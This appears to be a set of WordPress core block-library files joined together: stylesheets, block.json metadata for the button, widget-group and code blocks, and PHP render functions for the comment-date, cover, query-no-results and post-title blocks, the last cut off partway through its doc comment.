.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:right;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em 0 0 .1em;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-right:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}.is-small-text{
  font-size:.875em;
}

.is-regular-text{
  font-size:1em;
}

.is-large-text{
  font-size:2.25em;
}

.is-larger-text{
  font-size:3em;
}

.has-drop-cap:not(:focus):first-letter{
  float:right;
  font-size:8.4em;
  font-style:normal;
  font-weight:100;
  line-height:.68;
  margin:.05em 0 0 .1em;
  text-transform:uppercase;
}

body.rtl .has-drop-cap:not(:focus):first-letter{
  float:none;
  margin-right:.1em;
}

p.has-drop-cap.has-background{
  overflow:hidden;
}

p.has-background{
  padding:1.25em 2.375em;
}

:where(p.has-text-color:not(.has-link-color)) a{
  color:inherit;
}

p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{
  rotate:180deg;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/button",
	"title": "Button",
	"category": "design",
	"parent": [ "core/buttons" ],
	"description": "Prompt visitors to take action with a button-style link.",
	"keywords": [ "link" ],
	"textdomain": "default",
	"attributes": {
		"tagName": {
			"type": "string",
			"enum": [ "a", "button" ],
			"default": "a"
		},
		"type": {
			"type": "string",
			"default": "button"
		},
		"textAlign": {
			"type": "string"
		},
		"url": {
			"type": "string",
			"source": "attribute",
			"selector": "a",
			"attribute": "href",
			"__experimentalRole": "content"
		},
		"title": {
			"type": "string",
			"source": "attribute",
			"selector": "a,button",
			"attribute": "title",
			"__experimentalRole": "content"
		},
		"text": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "a,button",
			"__experimentalRole": "content"
		},
		"linkTarget": {
			"type": "string",
			"source": "attribute",
			"selector": "a",
			"attribute": "target",
			"__experimentalRole": "content"
		},
		"rel": {
			"type": "string",
			"source": "attribute",
			"selector": "a",
			"attribute": "rel",
			"__experimentalRole": "content"
		},
		"placeholder": {
			"type": "string"
		},
		"backgroundColor": {
			"type": "string"
		},
		"textColor": {
			"type": "string"
		},
		"gradient": {
			"type": "string"
		},
		"width": {
			"type": "number"
		}
	},
	"supports": {
		"anchor": true,
		"align": false,
		"alignWide": false,
		"color": {
			"__experimentalSkipSerialization": true,
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"reusable": false,
		"shadow": {
			"__experimentalSkipSerialization": true
		},
		"spacing": {
			"__experimentalSkipSerialization": true,
			"padding": [ "horizontal", "vertical" ],
			"__experimentalDefaultControls": {
				"padding": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalSkipSerialization": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"__experimentalSelector": ".wp-block-button .wp-block-button__link",
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{ "name": "fill", "label": "Fill", "isDefault": true },
		{ "name": "outline", "label": "Outline" }
	],
	"editorStyle": "wp-block-button-editor",
	"style": "wp-block-button"
}
.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{
  /*!rtl:ignore*/text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table}.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-left-width:medium}.wp-block[data-align=center]>.wp-block-button{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align=right]>.wp-block-button{
  text-align:right;
}

.wp-block-button{
  cursor:text;
  position:relative;
}
.wp-block-button:focus{
  box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:-2px;
}
.wp-block-button[data-rich-text-placeholder]:after{
  opacity:.8;
}

div[data-type="core/button"]{
  display:table;
}

.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-left-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-right-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-left-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-right-width:medium;
}.wp-block-button__link{
  box-sizing:border-box;
  cursor:pointer;
  display:inline-block;
  text-align:center;
  word-break:break-word;
}
.wp-block-button__link.aligncenter{
  text-align:center;
}
.wp-block-button__link.alignright{
  text-align:right;
}

:where(.wp-block-button__link){
  border-radius:9999px;
  box-shadow:none;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.wp-block-buttons>.wp-block-button.has-custom-width{
  max-width:none;
}
.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{
  width:100%;
}
.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-25{
  width:calc(25% - var(--wp--style--block-gap, .5em)*.75);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-50{
  width:calc(50% - var(--wp--style--block-gap, .5em)*.5);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-75{
  width:calc(75% - var(--wp--style--block-gap, .5em)*.25);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-100{
  flex-basis:100%;
  width:100%;
}

.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{
  width:25%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{
  width:50%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{
  width:75%;
}

.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{
  border-radius:0;
}

.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{
  border-radius:0 !important;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{
  border:2px solid;
  padding:.667em 1.333em;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){
  color:currentColor;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){
  background-color:initial;
  background-image:none;
}

.wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-right-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-left-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-right-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-left-width:medium;
}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{border:2px solid;padding:.667em 1.333em}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){background-color:initial;background-image:none}.wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-left-width:medium}.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table}.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-right-width:medium}.wp-block[data-align=center]>.wp-block-button{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align=right]>.wp-block-button{
  text-align:right;
}

.wp-block-button{
  cursor:text;
  position:relative;
}
.wp-block-button:focus{
  box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:-2px;
}
.wp-block-button[data-rich-text-placeholder]:after{
  opacity:.8;
}

div[data-type="core/button"]{
  display:table;
}

.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-right-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-left-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-right-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-left-width:medium;
}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{border:2px solid;padding:.667em 1.333em}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){background-color:initial;background-image:none}.wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-right-width:medium}.wp-block-button__link{
  box-sizing:border-box;
  cursor:pointer;
  display:inline-block;
  text-align:center;
  word-break:break-word;
}
.wp-block-button__link.aligncenter{
  text-align:center;
}
.wp-block-button__link.alignright{
  text-align:right;
}

:where(.wp-block-button__link){
  border-radius:9999px;
  box-shadow:none;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.wp-block-buttons>.wp-block-button.has-custom-width{
  max-width:none;
}
.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{
  width:100%;
}
.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-25{
  width:calc(25% - var(--wp--style--block-gap, .5em)*.75);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-50{
  width:calc(50% - var(--wp--style--block-gap, .5em)*.5);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-75{
  width:calc(75% - var(--wp--style--block-gap, .5em)*.25);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-100{
  flex-basis:100%;
  width:100%;
}

.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{
  width:25%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{
  width:50%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{
  width:75%;
}

.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{
  border-radius:0;
}

.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{
  border-radius:0 !important;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{
  border:2px solid;
  padding:.667em 1.333em;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){
  color:currentColor;
}

.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){
  background-color:initial;
  background-image:none;
}

.wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-left-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-right-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-left-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-right-width:medium;
}<?php
/**
 * Server-side rendering of the `core/comment-date` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comment-date` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the post comment's date.
 */
function render_block_core_comment_date( $attributes, $content, $block ) {
	if ( ! isset( $block->context['commentId'] ) ) {
		return '';
	}

	$comment = get_comment( $block->context['commentId'] );
	if ( empty( $comment ) ) {
		return '';
	}

	$classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : '';

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
	$formatted_date     = get_comment_date(
		isset( $attributes['format'] ) ? $attributes['format'] : '',
		$comment
	);
	$link               = get_comment_link( $comment );

	if ( ! empty( $attributes['isLink'] ) ) {
		$formatted_date = sprintf( '<a href="%1s">%2s</a>', esc_url( $link ), $formatted_date );
	}

	return sprintf(
		'<div %1$s><time datetime="%2$s">%3$s</time></div>',
		$wrapper_attributes,
		esc_attr( get_comment_date( 'c', $comment ) ),
		$formatted_date
	);
}

/**
 * Registers the `core/comment-date` block on the server.
 */
function register_block_core_comment_date() {
	register_block_type_from_metadata(
		__DIR__ . '/comment-date',
		array(
			'render_callback' => 'render_block_core_comment_date',
		)
	);
}
add_action( 'init', 'register_block_core_comment_date' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/widget-group",
	"category": "widgets",
	"attributes": {
		"title": {
			"type": "string"
		}
	},
	"supports": {
		"html": false,
		"inserter": true,
		"customClassName": true,
		"reusable": false
	},
	"editorStyle": "wp-block-widget-group-editor",
	"style": "wp-block-widget-group"
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/code",
	"title": "Code",
	"category": "text",
	"description": "Display code snippets that respect your spacing and tabs.",
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "code",
			"__unstablePreserveWhiteSpace": true
		}
	},
	"supports": {
		"align": [ "wide" ],
		"anchor": true,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"margin": [ "top", "bottom" ],
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"width": true,
				"color": true
			}
		},
		"color": {
			"text": true,
			"background": true,
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-code"
}
.wp-block-code{
  border:1px solid #ccc;
  border-radius:4px;
  font-family:Menlo,Consolas,monaco,monospace;
  padding:.8em 1em;
}.wp-block-code code{background:none}.wp-block-code{
  border:1px solid #ccc;
  border-radius:4px;
  font-family:Menlo,Consolas,monaco,monospace;
  padding:.8em 1em;
}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-code code{
  background:none;
}.wp-block-code{
  box-sizing:border-box;
}
.wp-block-code code{
  display:block;
  font-family:inherit;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}.wp-block-code code{background:none}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-code code{
  background:none;
}.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}.wp-block-code{
  box-sizing:border-box;
}
.wp-block-code code{
  display:block;
  font-family:inherit;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}<?php
/**
 * Server-side rendering of the `core/cover` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/cover` block on server.
 *
 * @param array  $attributes The block attributes.
 * @param string $content    The block rendered content.
 *
 * @return string Returns the cover block markup, if useFeaturedImage is true.
 */
function render_block_core_cover( $attributes, $content ) {
	if ( 'image' !== $attributes['backgroundType'] || false === $attributes['useFeaturedImage'] ) {
		return $content;
	}

	if ( ! ( $attributes['hasParallax'] || $attributes['isRepeated'] ) ) {
		$attr = array(
			'class'           => 'wp-block-cover__image-background',
			'data-object-fit' => 'cover',
		);

		if ( isset( $attributes['focalPoint'] ) ) {
			$object_position              = round( $attributes['focalPoint']['x'] * 100 ) . '% ' . round( $attributes['focalPoint']['y'] * 100 ) . '%';
			$attr['data-object-position'] = $object_position;
			$attr['style']                = 'object-position: ' . $object_position;
		}

		$image = get_the_post_thumbnail( null, 'post-thumbnail', $attr );

		/*
		 * Inserts the featured image between the (1st) cover 'background' `span` and 'inner_container' `div`,
		 * and removes eventual whitespace characters between the two (typically introduced at template level)
		 */
		$inner_container_start = '/<div\b[^>]+wp-block-cover__inner-container[\s|"][^>]*>/U';
		if ( 1 === preg_match( $inner_container_start, $content, $matches, PREG_OFFSET_CAPTURE ) ) {
			$offset  = $matches[0][1];
			$content = substr( $content, 0, $offset ) . $image . substr( $content, $offset );
		}
	} else {
		if ( in_the_loop() ) {
			update_post_thumbnail_cache();
		}
		$current_featured_image = get_the_post_thumbnail_url();
		if ( ! $current_featured_image ) {
			return $content;
		}

		$processor = new WP_HTML_Tag_Processor( $content );
		$processor->next_tag();

		$styles         = $processor->get_attribute( 'style' );
		$merged_styles  = ! empty( $styles ) ? $styles . ';' : '';
		$merged_styles .= 'background-image:url(' . esc_url( $current_featured_image ) . ');';

		$processor->set_attribute( 'style', $merged_styles );
		$content = $processor->get_updated_html();
	}

	return $content;
}

/**
 * Registers the `core/cover` block renderer on server.
 */
function register_block_core_cover() {
	register_block_type_from_metadata(
		__DIR__ . '/cover',
		array(
			'render_callback' => 'render_block_core_cover',
		)
	);
}
add_action( 'init', 'register_block_core_cover' );
<?php
/**
 * Server-side rendering of the `core/query-no-results` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-no-results` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the wrapper for the no results block.
 */
function render_block_core_query_no_results( $attributes, $content, $block ) {
	if ( empty( trim( $content ) ) ) {
		return '';
	}

	$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$page     = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];

	// Override the custom query with the global query if needed.
	$use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] );
	if ( $use_global_query ) {
		global $wp_query;
		$query = $wp_query;
	} else {
		$query_args = build_query_vars_from_query_block( $block, $page );
		$query      = new WP_Query( $query_args );
	}

	if ( $query->post_count > 0 ) {
		return '';
	}

	$classes            = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : '';
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/query-no-results` block on the server.
 */
function register_block_core_query_no_results() {
	register_block_type_from_metadata(
		__DIR__ . '/query-no-results',
		array(
			'render_callback' => 'render_block_core_query_no_results',
		)
	);
}
add_action( 'init', 'register_block_core_query_no_results' );
<?php
/**
 * Server-side rendering of the `core/post-title` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-title` block on the server.
 *
 * @since 6.3.0 Omitting the $post argument from the `get_the_title`.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
